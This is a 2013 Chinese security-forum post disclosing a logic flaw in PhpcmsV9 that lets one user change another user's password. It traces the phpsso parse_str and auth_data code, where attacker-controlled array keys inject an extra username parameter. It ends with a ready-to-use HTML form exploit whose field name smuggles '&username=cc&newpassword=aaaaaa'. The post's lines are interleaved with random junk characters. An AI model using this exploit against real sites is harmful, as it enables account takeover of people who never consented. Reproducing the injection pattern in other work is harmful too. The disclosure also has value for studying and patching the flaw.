找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1787|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
/ @" J* C; ?; N7 A: Y
  |- {. {6 D: Y  `* {, _" M$ K: W* d3 _; ~  f0 U
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
! e- y7 Z/ _1 U9 N  U) o
8 o1 I7 N, f+ I! U3 w+ v在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。$ v( H, y4 X& K( ]# x" I
: Z! g7 j$ f) ?: x6 r( t
我把它留给了你们。
/ F" r6 w1 `/ \8 C8 n6 Q不知道你们发现了它没有。# k. I2 Z) V7 S. e0 ]
2 z3 Y0 d1 F5 Z( C9 r
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。. i  R# o/ {4 H6 `9 m  l
/ l) M0 v9 y+ S
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
* g7 S2 k' N- @; ]" e7 B0 ?" P
0 u4 R/ L0 n. h$ q' I! d/ i8 }也就是7 I8 D! Z/ y" C! W% @* ~8 D

8 |' s' \/ B# Z. V: c  Yusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
, r1 z. H; ~2 L) P
/ w5 f. _2 V. q3 R0 c! ~/ x; _要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
+ Y6 I" f  F/ F# O6 G! K! ^
' d  h" M+ X, @: \# E, G
/ |" E) `" d( h7 S: j  h4 N其实我们有这样的机会,看看代码,如下:9 r  l, @$ h( {5 x2 O& C, K! ?7 q5 p, F

) V/ f& F+ g8 ^; \1 o2 S! n$ v7 a
public function auth_data($data) {
% r' S* d* l0 a" }: |3 W( o                $s = $sep = '';' B8 U. L/ i5 }
                foreach($data as $k => $v) {9 y: i/ T& I& l. ?7 Z* ^0 |* e" Q
                        if(is_array($v)) {$ c6 l( R( x  m! V# j
                                $s2 = $sep2 = '';# K5 i2 f; L0 ~( V9 Z8 f7 D
                                foreach($v as $k2 => $v2) {
8 b0 Z0 j6 a8 l                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
/ F* ?$ C. @2 n2 o2 I" J                                        $sep2 = '&';1 y2 K  J8 b4 e; }# ]5 }4 T
                                }9 j. H' F: k$ u9 H1 }
                                $s .= $sep.$s2;
1 X5 l" c. ^; m  `' ]: ~! a' s( ?                        } else {
5 s$ l+ z+ q' }. v+ D* o, i8 Y                                $s .= "$sep$k=".$this->_ps_stripslashes($v);$ h  J: P. R6 ]' N1 w6 r
                        }6 Q0 `" V5 Q. N8 [' Z+ t
                        $sep = '&';$ i' r9 j) \0 e+ D. H# m9 q0 q" q
                }/ i' G! Y' Y2 n" H3 k
1 T1 m9 |, h" ?7 G8 x% j5 @
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
0 b* g) X/ p2 }9 l9 f. o' P                return $auth_s;9 B  R& A* I4 G* ^; v0 A
        }
) y3 N3 a5 A' ^3 ~
; v# P# ~1 p: Q可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
3 ?  E0 r, }( k, z5 q0 h3 U
/ {& E% g. y4 R2 A# F/ M7 j2 u举个例子
" F, a0 Q* a8 d) o+ Y7 b6 c7 e! ?
$a[aaa=a&bbb] = 'a';
) E" q5 h# h: n1 l5 n* B  w8 @! P
会变成aaa=a&bbb=a
& X" U; A% e$ }, R( n4 t8 _# r7 h  X/ f
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。& m6 E" L) E0 S. T0 l, h
9 U7 x7 y9 R" U0 K9 w9 B2 n
这个时候,我们可以再去看一个函数。
8 f+ b8 M/ z7 i* a
  M4 ~: D. J' n# n就在这个文件内:- L! y3 V( N) h- k/ A# ^1 ^5 T

, U- \+ L$ s4 B7 u' [
$ x# Z7 Z$ s0 T# L1 cpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {3 j' z& {8 T, G) Z, Y8 {& \
                if($email && !$this->_is_email($email)) {2 }- O7 v  d, J$ u5 N8 i! a
                        return -4;" l( t& S, z8 [3 A
                }' j& P2 C, T- O$ c
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));4 |0 k+ X: |+ ^
        }# \. z/ P. t9 Y5 O' `5 a) G7 A! W
( S' D- C8 \% L2 z: y
这是向通行证发了这样一个请求。
$ n: n; [" B1 L; j- ~  i0 L7 s  Q$ n8 n" v
我们再跟到通信证代码里去看看,就会有所发现。
* K( }) [3 u2 B) k( `8 k4 `! l
6 k" q) J1 t6 G8 F$ C8 W
( h5 r/ F, {- V' t' V6 apublic function edit() {
- a+ F9 V  a: r7 S3 A7 Z3 L//能省就省,太长了不是吗?
6 a& w: O# ^& u
5 F4 Q4 R; Z2 _1 h( Pif($this->username) {) h( R1 }8 W5 ?* ?! i. j
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
- C1 A' R3 i  J9 x3 [                                $res = $this->db->update($data, array('username'=>$this->username));
7 I' U4 e7 |* v( ^, f  N: G                        } else {- O0 d4 F* X( b/ s5 d; `( ~* T
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
, @! B3 i6 a0 {4 [) e( i/ X                                $res = $this->db->update($data, array('uid'=>$this->uid));
/ x' t1 {! j0 p# |# w                        }
0 f$ d  ]/ D0 G$ x% ^# }( _, T( K% ^  Q0 b1 u' _. @9 |* w; {8 b$ s
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:+ U6 \  O6 c1 @
) B$ P( Y' w$ A' R9 o. N% y- l
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')% e% b2 n% R. }* F7 k
" Y" Y3 \- E+ d8 v" i
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。  v2 L' ?7 X) M5 `# H2 q

& m; q7 s( G$ q5 s+ f, c- W$ d我当然找到了:
8 S3 O" X$ i0 O$ O1 `' r/ @( ?- [phpcms9/phpcms/modules/member/index.php1 |; j9 U: t$ P3 S' [

  w. Q6 @( Z! i: G' `7 z9 O( a+ y$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
7 N( H, ?" g, b  r, i4 L! W, }" G0 f$ I5 Q1 [
然后就没有然后了。
1 w/ n- v) Z, n1 h# ]& [) p% r& s9 O6 X
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">1 D1 q. I( @- G  h# ~7 _) f
                                <table width="100%" cellspacing="0" class="table_form">0 Y) {3 @5 D7 |/ B7 _" H
                                        <tr>" W/ G6 l$ E, z: h2 @/ l! a
                                                <th width="80">邮箱:</th>        
* W6 T# u, \6 P9 q% Y( T                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
) v7 d9 s( D) m( p" o                                        </tr>
0 v5 C. x2 _" k3 {. a3 f                                        <tr>
  y- e. \& G$ G- Y5 C                                                <th width="80">原密码:</th>        ; e/ M) H& y1 Z
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
, Q* M% ~+ G  C                                        </tr>: X4 V' p% a  _% ?: l) n( K
                                        <tr>2 {: d: @( T& c0 [; G8 b: c' U+ ~
                                                <th>新密码:</th>8 O, F( l5 l6 ]6 Y# Q
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>8 h. Z; I+ C1 o9 c! `5 L
                                        </tr>: S; J3 t$ W6 u) w$ w1 Q  w
                                        <th></th>! X" y: [1 I* l
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
- X  d, O# @+ Q0 P$ I                                        </tr>
/ V$ \4 F! s) ?" d) f) L                                </table>+ `5 a4 k# J( ^8 E! W& F( Z  J2 H

% x( b* o( _' @  z% [% o% q4 F                               
2 P5 }& Z2 T# x' H1 E/ |; ^                        </form>
; m4 k0 W' b' ]% G  a1 Q$ W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表